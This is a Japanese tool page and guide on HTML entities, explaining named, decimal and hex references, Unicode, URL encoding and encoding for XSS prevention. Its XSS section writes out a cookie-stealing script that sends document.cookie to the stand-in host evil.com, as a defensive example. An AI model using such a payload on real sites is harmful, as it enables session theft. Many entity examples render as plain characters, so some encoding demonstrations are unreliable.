HTML Entity 検索 HTML Entity 検索比較表
すべての HTML Entity について name、code、Unicode、character 表示を検索できます。
組み込み Entity Encoder / Decoder 即時変換できる、Web 開発者必携のツールです。
🎮 Entity Playground エンコード/デコードツール
HTML を即座にエンコード / デコードし、変換結果をワンクリックで確認できます。
❓ FAQ FAQ
HTML Entity に関するよくある質問と回答
HTML Entity とは何ですか?
HTML Entity は HTML ファイル内で特殊文字を表現する方法です。HTML で特別な意味を持つ文字(たとえば <、>、&), または keyboard から直接入力できない character(例:copyright symbol)を表示します。 ©、™、€)、HTML Entity を使用する必要があります。
HTML Entity には3つの表現方法があります:
- エンティティ名 — として
©、<, 名前で覚えられ、読みやすくなります - 10進コード — として
©、<、10進 Unicode で表記 - 16 進コード — として
©、<、16進 Unicode で表記
なぜ HTML Encode が必要なのですか?
HTML Encode は、特殊文字を対応する HTML Entity へ変換する処理です。次のような場面では特に重要です:
- XSS 攻撃を防止 — ユーザー入力を入力
<script>変換先<script>、悪意あるスクリプト実行を防ぐため - 予約文字を表示 — Web コンテンツ内に表示
<、>、&ブラウザに HTML タグとして解析されずに - メールテンプレート — 各メールクライアントでメールが正しく表示されることを確認します
- XML/RSS Feed — 特殊文字によってフィード構造が壊れないようにします
- データベース出力 — ユーザー生成コンテンツを Web 上で安全に描画します
セキュリティ上の注意: Web 開発では、なし user input をそのまま HTML として出力する場合は、必ず HTML Encoding を行ってください。これは XSS(cross-site scripting)対策の最も基本的かつ重要な防御です。
Entity Name、Decimal、Hex にはどのような違いがありますか?
この 3 種類はいずれも HTML Entity の表現方法ですが、それぞれ利点と欠点があります。
| 方法 | 形式 | 例(©) | 利点 | 欠点 |
|---|---|---|---|---|
| エンティティ名 | &name; |
© |
読みやすく、覚えやすい | すべての文字に名前があるわけではありません |
| 10進数 | &#D; |
© |
すべての Unicode 文字を使用可能 | 長くて覚えにくい |
| Hex | &#xH; |
© |
Unicode エンコーディングに直接対応 | 16 進数の理解が必要です |
使用上の推奨事項: 日常の開発では優先的に使用 エンティティ名(最も読みやすい方式)。対象文字に Entity Name がない場合に使用します。 10進数 または Hex コードです。3 つはいずれもブラウザ上でまったく同じように描画されます。
HTML Entity と Unicode にはどのような関係がありますか?
Unicode 各文字に一意のコードポイント(Code Point)を割り当てる汎用文字エンコーディング標準です。例えば U+00A9 © 記号を表します。
HTML Entity の10進数 および Hex 形式は本質的に Unicode Code Point を異なる基数で表現したものです。
- Unicode Code Point →
U+00A9(16 進数) - HTML Hex Entity →
©(U+ を削除し、&#x と ; を追加) - HTML 10 進数エンティティ →
©(0xA9 を 10 進数の 169 に変換)
簡単に言うと: HTML Entity は HTML file 内での Unicode の「表現」です。使用すると © または © これを行うと、ブラウザに「ここへ Unicode Code Point U+00A9 の文字を表示してください」と指示していることになります。Unicode が標準であり、HTML Entity はその標準を HTML 上で利用する方法です。
the difference between HTML Encode and URL Encode とは何ですか?
これは混同されやすい2つの異なる概念です。
| 機能 | HTML エンコード | URL Encode |
|---|---|---|
| 目的 | HTML 内で文字を安全に表示します | URL 内で文字を安全に送信 |
| エンコード方式 | <、< | %3C、%20 |
| 例 < | < | %3C |
| 空欄の例 | | %20 |
| 利用シナリオ | HTML コンテンツ、Email Template | URL クエリパラメータ、API リクエスト |
簡単な区別: HTML ファイルを作成している場合、必要なのは HTML エンコード. URL を構築している場合(例: ?q=hello world), 必要なのは URL Encode(Percent Encoding とも呼ばれます)。
XSS attack と HTML Entity にはどのような関係がありますか?
XSS(Cross-Site Scripting) 一般的な Web セキュリティ脆弱性の一つです。攻撃者が悪意のあるスクリプトを Web ページへ注入し、別のユーザーがそのページを閲覧した際にスクリプトが実行されます。
HTML Entity エンコードは XSS に対する第一の防御策です:
例:
❌ 安全ではありません: ユーザー入力 <script>alert('XSS')</script> 直接出力 → スクリプトが実行されます
✅ セキュリティ: HTML Encode 後 → <script>alert('XSS')</script> → テキストとして安全に表示
ベストプラクティス:
- サーバー側で、すべてのユーザー入力を HTML Encode します
- Content Security Policy(CSP)Header を第 2 層の防御として使用します。
- 使用を避ける
dangerouslySetInnerHTML(React)またはv-html(Vue)どうしても必要な場合を除き - 動的に出力するすべてのコンテンツを HTML エンコードします
JavaScript で HTML Encode/Decode するには?
JavaScript で HTML を encode/decode する最も簡単で安全な方法は DOM API を使うことです:
HTML エンコード:
function htmlEncode(str) {
const el = document.createElement('span');
el.textContent = str;
return el.innerHTML;
}
// "<div>Hello & World</div>"
htmlEncode('<div>Hello & World</div>');
HTML デコード:
function htmlDecode(str) {
const el = document.createElement('span');
el.innerHTML = str;
return el.textContent;
}
// "<div>Hello & World</div>"
htmlDecode('<div>Hello & World</div>');
💡 ヒント: 次の用途にも使用できます DOMParser または innerHTML 解析方法はいくつかありますが、上記の方法が最も軽量で安全です。ToolHub の Entity Playground を使えば、encode / decode の結果をその場で確認できます。
📖 HTML Entity 完全ガイド
HTML Entity の仕組み、利用シーン、セキュリティ上のベストプラクティスを詳しく学べます。
HTML Entity とは何ですか?Web 開発でなぜ重要なのですか?
HTML Entity HTML file 内で特殊文字を表すための text sequence です。HTML 構文では特定文字に特殊な意味があります(たとえば < ラベルの開始を表し、& Entity の略で、HTML で特別な意味を持つ文字を通常の文字として表示したい場合に HTML Entity を使います。
さらに HTML Entity を使えば、copyright 記号など keyboard から直接入力しにくい文字も表示できます ©, 登録商標 ®、ユーロ記号 € 多言語 Web サイトや特殊記号を正しく表示するうえで、HTML Entity は重要な手段です。
HTML Entity の 3 つの表記方法
各 HTML Entity は次の 3 つの方法で表現できます:
1. エンティティ名(固有表現)
文字には覚えやすい名前を付けます。形式は &名稱;. 例:
©→ ©<→ <&→ &®→ ®
Entity Name の利点は 可読性が高く、覚えやすい。欠点は、すべての Unicode 文字に対応する Entity Name があるわけではないことです。名前付きエンティティがあるのは主に約 2200 種類以上の一般的な文字です。
2. Decimal Code(10進数値文字参照)
character は Unicode Code Point の decimal digit で表現されます。形式は &#數字;. 例:
©→ ©(Unicode U+00A9 = 10進数 169)<→ <(Unicode U+003C = 10進数 60)€→ €(Unicode U+20AC = 10進数 8364)
Decimal Code の利点は すべての Unicode 文字をカバー, 対応する Entity Name が見つからなくても心配する必要はありません。
3. Hex Code(16進数値文字参照)
Unicode code point を hexadecimal digit で表します。形式は &#x十六進位;(x は大文字・小文字を区別しません)。例:
©→ ©(Unicode U+00A9)<→ <(Unicode U+003C)€→ €(Unicode U+20AC)
Hex Code の利点は Unicode エンコーディングに直接対応, 開発者は Unicode テーブルから対応する 16 進値を直接確認できます。
HTML でよく使う特殊文字チートシート
Web 開発でよく使う HTML Entity は次のとおりです。
| 文字 | エンティティ名 | 10進数 | Hex | 説明 |
|---|---|---|---|---|
| & | & | & | & | & 記号 |
| < | < | < | < | 未満 |
| > | > | > | > | より大きい |
| " | " | " | " | ダブルクォート |
| ' | ' | ' | ' | シングルクォート |
|   |   | 空行を保持 | |
| © | © | © | © | 著作権記号 |
| ® | ® | ® | ® | 登録商標 |
| ™ | ™ | ™ | ™ | 商標記号 |
| € | € | € | € | ユーロ |
HTML Entity と XSS 対策
XSS(Cross-Site Scripting) 最も一般的な Web security vulnerability の一つです。攻撃者が悪意ある script を Web ページへ注入し、ユーザー情報の窃取、session hijack、phishing などを行います。
HTML Entity encoding は XSS attack を防ぐ最も基本的で重要な手段です:
攻撃シナリオ:
コメント欄に攻撃者が送信した内容:<script>document.location='http://evil.com/?cookie='+document.cookie</script>
❌ そのままページへ出力すると、攻撃用 script が実行され、ユーザーの Cookie が盗まれる可能性があります。
✅ HTML Encode を行うと → 変換先: <script>...</script> → プレーンテキストとして安全に表示
XSS 対策のベストプラクティス
- 入力検証 — user input は front-end と back-end の両方で validate / filter してください。
- 出力エンコーディング — 出力先に応じて異なる encoding / escaping を使います(HTML、JavaScript、CSS、URL)。
- Content Security Policy(CSP) — HTTP ヘッダーでスクリプトの読み込み元を制限します
- HttpOnly Cookie — Cookie に HttpOnly 属性を設定し、JavaScript からの access を防ぎます。
- 安全なフレームワーク API を使用 — React
{text}(dangerouslySetInnerHTML ではない)、Vue の{ text }(v-html ではありません) - 定期的な安全性テスト — automated tool を使って XSS vulnerability を scan します。
HTML Entity のエンコード・デコードツール
実際の開発では、次が必要になる場合があります:
- エンコード — 予定
<div>Tom & Jerry</div>変換先<div>Tom & Jerry</div> - デコード — 予定
<div>Tom & Jerry</div>元の HTML に戻す
ToolHub が提供するものを使用 エンティティ・プレイグラウンド, 左側に元の text を入力して encode、または右側へ encoded text を入力して decode できます。すべての処理は browser 内でローカル実行され、データは upload されません。
メールテンプレートにおける HTML Entity の活用
Email Template 開発では HTML Entity が特に重要です:
- 異なるメールクライアント間の互換性 — Outlook、Gmail、Apple Mail など、メール client ごとに HTML 対応状況は異なります。特殊文字を正しく表示するには Entity を使うと安全です。
- 著作権・商標記号 — Email footer で ©、®、™ などの記号を表示する用途に使えます。
- 通貨記号 — newsletter 内で €、£、¥、₽ などの通貨記号を正しく表示できます。
- コーディング上の問題を回避 — email client ごとの character encoding 差による文字化けを避けるには Entity を利用してください。
HTML Entity と SEO
HTML Entity を適切に使うことは SEO にも良い影響があります。
- コンテンツの誤解を避ける — 使用
©© 文字そのものではなく適切な entity 表現を使い、検索エンジンが内容を正しく解析できるようにします。 - Title と Meta Description — 内
<title>および<meta>special character を正しく表示するには Entity を使用します。 - 構造化データ — JSON-LD などの構造化データでは Entity を使い、解析エラーを避けます
- Sitemap — XML Sitemap 内の特殊文字は Entity を使って処理します
概要: HTML Entity は Web 開発の基礎知識です。特殊文字の表示、XSS 対策、Email Template の開発、SEO 最適化など、さまざまな場面で正しい HTML Entity の扱いが必要になります。ToolHub の HTML Entity Lookup で任意の文字の Entity コードを調べ、Entity Playground でエンコード/デコードを試せます。